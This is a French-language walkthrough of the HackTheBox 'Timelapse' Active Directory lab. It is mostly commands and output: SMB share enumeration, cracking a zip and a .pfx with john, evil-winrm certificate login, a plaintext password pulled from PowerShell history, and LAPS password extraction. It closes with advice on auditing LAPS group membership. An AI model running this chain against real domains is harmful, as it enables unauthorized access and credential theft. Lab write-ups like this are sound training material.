Aller au contenu principal

HACKTHEBOX - TIMELAPSE

Link : https://app.hackthebox.com/machines/Timelapse

Enumeration

PORT     STATE SERVICE           VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-17 17:55:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
|_ssl-ccs-injection: No reply from server (TIMEOUT)
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.70 seconds

On constate que le port correspondant à SMB est ouvert (TCP/445). On peut essayer d'énumérer les shares avec crackmapexec :

Output copiable

crackmapexec smb 10.10.11.152 --shares -u 'Guest' -p ''
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\Guest:
SMB 10.10.11.152 445 DC01 [+] Enumerated shares
SMB 10.10.11.152 445 DC01 Share Permissions Remark
SMB 10.10.11.152 445 DC01 ----- ----------- ------
SMB 10.10.11.152 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.152 445 DC01 C$ Default share
SMB 10.10.11.152 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.152 445 DC01 NETLOGON Logon server share
SMB 10.10.11.152 445 DC01 Shares READ
SMB 10.10.11.152 445 DC01 SYSVOL Logon server share

Enumération shares

En général, les 2 comptes à tester par défaut sont "Guest:" et ":" (Null user). Ici, seul le compte Guest est disponible.

On remarque que l'on a accès à un share nommé "Shares". On peut essayer de le télécharger avec smbclient :

Output copiable
smbclient -U 'Guest' //10.10.11.152/Shares 
Password for [WORKGROUP\Guest]:
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \Dev\winrm_backup.zip of size 2611 as Dev/winrm_backup.zip (9.7 KiloBytes/sec) (average 9.7 KiloBytes/sec)
getting file \HelpDesk\LAPS.x64.msi of size 1118208 as HelpDesk/LAPS.x64.msi (940.6 KiloBytes/sec) (average 768.6 KiloBytes/sec)
getting file \HelpDesk\LAPS_Datasheet.docx of size 104422 as HelpDesk/LAPS_Datasheet.docx (276.4 KiloBytes/sec) (average 667.3 KiloBytes/sec)
getting file \HelpDesk\LAPS_OperationsGuide.docx of size 641378 as HelpDesk/LAPS_OperationsGuide.docx (1233.0 KiloBytes/sec) (average 792.2 KiloBytes/sec)
getting file \HelpDesk\LAPS_TechnicalSpecification.docx of size 72683 as HelpDesk/LAPS_TechnicalSpecification.docx (312.7 KiloBytes/sec) (average 749.1 KiloBytes/sec)

On a quelques fichiers correspondant à LAPS et un fichier zip correspondant a winRM. Mon hypothèse, c'est que les fichiers LAPS seront utiles pour l'escalation de privilèges, mais que nous devons nous concentrer sur ce zip dans un premier temps.

Exploitation

Crack du fichier zip

Le fichier zip est protégé par un mot de passe. On peut le cracker avec zip2john et john :

Output copiable
zip2john winrm_backup.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2023-07-17 12:07) 3.333g/s 11632Kp/s 11632Kc/s 11632KC/s surkerior..sulin01
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Le mot de passe étant retrouvé (supremelegacy), on peut extraire le contenu du zip. Ce dernier contient un fichier .pfx

Extraction du .pfx et connexion winRM

Ce .pfx peut servir pour une authentification winRM. On peut donc essayer de se connecter avec evil-winrm, mais il faut d'abord extraire deux fichiers de ce .pfx :

  1. Le certificat en .pem
  2. La clé privée en .key
Explication .pfx, .pem, .key

Voici des tableaux récapitulant l'utilité de ces fichiers :

Fichier .pfx (Personal Information Exchange)
Extension : .pfx
Utilité : Le fichier .pfx est un format de fichier binaire qui contient généralement un certificat SSL (X.509) ainsi que la clé privée associée dans une structure de données chiffrée.
Contenu : Le fichier .pfx est souvent utilisé pour stocker un certificat SSL avec sa clé privée protégée par un mot de passe. Il peut contenir un seul certificat avec la clé privée correspondante ou parfois plusieurs certificats avec leurs clés privées dans une archive chiffrée.
Fichier .pem (Privacy-Enhanced Mail)
Extension : .pem
Utilité : Le fichier .pem contient généralement un certificat SSL (X.509) ou une chaîne de certificats, qui permet d'authentifier l'identité du serveur.
Contenu : Le fichier .pem est un fichier texte ASCII qui peut contenir un ou plusieurs certificats, ainsi que leur clé publique associée. Il peut également contenir la clé privée associée au certificat.
Fichier .key (Clé privée)
Extension : .key
Utilité : Le fichier .key contient la clé privée qui correspond à la clé publique contenue dans le fichier .pem.
Contenu : Le fichier .key est un fichier binaire qui doit rester strictement confidentiel, car il permet de déchiffrer les données sécurisées échangées entre le client et le serveur.

Le .pfx étant protégé par un mot de passe également, on peut le cracker avec pfx2john et john :

Output copiable
pfx2john legacyy_dev_auth.pfx > pfx.hash
john pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt

Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:19 DONE (2023-07-17 12:09) 0.05107g/s 165053p/s 165053c/s 165053C/s thurgkub..thsco04
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

On peut ensuite extraire les deux fichiers avec openssl :

openssl pkcs12 -in legacyy_dev_auth.pfx -out certificate.pem
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out privatekey.key -nodes

evil-winrm -i 10.10.11.152 -k privatekey.key -c certificate.pem -S
*Evil-WinRM* PS C:\Users\legacyy\Documents>
Evil-winRM en mode SSL

Bien veiller a mettre le "-S" sur evil-winrm. Cela active SSL, et permet l'authentification via certificat.

Privilège Escalation

Extraction de l'historique des commandes

Une fois connecté via legacyy, en cherchant, on trouve l'historique des commandes. Par défaut, il est situé dans le répertoire C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

On trouve un compte (svc_deploy) avec un mot de passe en clair. On peut donc se connecter avec evil-winrm.

Lateral movement

evil-winrm  -i 10.10.11.152 -u "svc_deploy" -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

Puis on regarde les groupes auxquels appartient svc_deploy :

Get-ADUser -Identity "svc_deploy" -Properties *

Ce qui va nous intéresser, c'est ces informations.

DisplayName                          : svc_deploy
DistinguishedName : CN=svc_deploy,CN=Users,DC=timelapse,DC=htb
<SNIP>
MemberOf : {CN=LAPS_Readers,OU=Groups,OU=Staff,DC=timelapse,DC=htb, CN=Remote Management Users,CN=Builtin,DC=timelapse,DC=htb}

Ici, on voit que le compte svc_deploy appartient au groupe LAPS_Readers. Ce groupe est un groupe qui permet de lire les mots de passe stockés dans LAPS.

Explication LAPS

LAPS (Local Administrator Password Solution) est une solution développée par Microsoft qui permet de gérer automatiquement les mots de passe des comptes locaux Administrateur sur les ordinateurs Windows. Elle vise à renforcer la sécurité en évitant l'utilisation de mots de passe par défaut identiques pour les comptes Administrateur locaux sur chaque ordinateur.

Il est préférable d'activer LAPS, afin d'éviter d'avoir le même mot de passe administrateur local sur chaque serveur. En effet, ce dernier est important, et doit être complexe, mais aussi différent pour chaque machine

Privileges LAPS

Les comptes qui devraient avoir le role LAPS_Readers sont :

  1. Les comptes d'administration
  2. Les comptes de services spécifiques (type bastion par exemple, pour donner un accès administratif à un administrateur)

Maintenant, nous avons 2 outils nous permettant d'avoir le mot de passe administrateur local :

Extraction du mot de passe LAPS avec crackmapexec

crackmapexec ldap 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps

Output copiable
SMB         10.10.11.152    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.152 389 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS 10.10.11.152 389 DC01 [*] Getting LAPS Passwords
LAPS 10.10.11.152 389 DC01 Computer: DC01$ Password: 62,y9zd63Oo(01EWvsq$%w],

Puis nous pouvons utiliser ce mot de passe pour nous connecter en tant qu'administrateur local, et donc récupérer le flag

Extraction du mot de passe LAPS avec Get-ADComputter

Get-ADComputer -Identity "ComputerName" -Properties ms-Mcs-AdmPwd
DistinguishedName : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName : dc01.timelapse.htb
Enabled : True
ms-Mcs-AdmPwd : 62,y9zd63Oo(01EWvsq$%w],
Name : DC01
ObjectClass : computer
ObjectGUID : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName : DC01$
SID : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName :

Idem, on peut utiliser le mot de passe afin d'avoir le flag root

Sécurité de LAPS

LAPS est comme un couteau. Il est très utile (car permettant d'avoir des mots de passe d'administrateurs locaux diffénrents pour chaque machine), mais il peut être dangereux si mal utilisé.

Il faut surtout bien revoir qui à accès aux rôles LAPS_Reader et LAPS_Administrator.

En effet, si un attaquant compromet un compte ayant ce rôle, il pourra récupérer le mot de passe administrateur local de toutes les machines.

Vous pouvez faire la revue des comptes ayant ces droits privilégiés avec la commande suivante :

Get-ADGroupMember -Identity "LAPS_Readers" -Recursive | Get-ADUser -Properties MemberOf | Select-Object Name, MemberOf

Name MemberOf
---- --------
svc_deploy {CN=LAPS_Readers,OU=Groups,OU=Staff,DC=timelapse,DC=htb, CN=Remote Management Users,CN=Builtin,DC=timelapse,DC=htb}

Get-ADGroupMember -Identity "LAPS_Administrators" -Recursive | Get-ADUser -Properties MemberOf | Select-Object Name, MemberOf